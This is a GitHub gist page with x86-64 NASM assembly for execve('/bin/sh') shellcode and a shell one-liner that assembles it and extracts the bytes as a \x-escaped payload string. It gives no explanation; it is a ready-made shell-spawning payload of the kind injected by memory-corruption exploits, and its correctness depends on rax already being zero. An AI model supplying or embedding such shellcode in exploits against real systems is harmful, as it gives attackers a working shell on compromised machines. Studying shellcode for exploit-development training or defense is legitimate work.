Last active
April 4, 2021 01:55
-
-
Save ekojs/fb7f5b71d19635dfbc425fdcfe53bb4b to your computer and use it in GitHub Desktop.
shellcode assembly
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nasm -f elf64 -o shell64.o shell64.asm | |
ld -o shell64 shell64.o | |
objdump -d shell64.o | grep -E "[0-9a-f]+:\s+[0-9a-f].*" | sed 's/.*:\s*//g;s/\s\{2,\}.*$//g' | sed 's/\(\w\{2\}\)/\\x\1/g;s/\s//g' | perl -p -e 's/\n//g' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
section .bss | |
section .data | |
section .text | |
global _start | |
_start: | |
xor rdx,rdx | |
mov qword rbx, '//bin/sh' | |
shr rbx, 0x8 | |
push rbx | |
mov rdi, rsp | |
push rax | |
push rdi | |
mov rsi, rsp | |
mov al, 0x3b | |
syscall |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment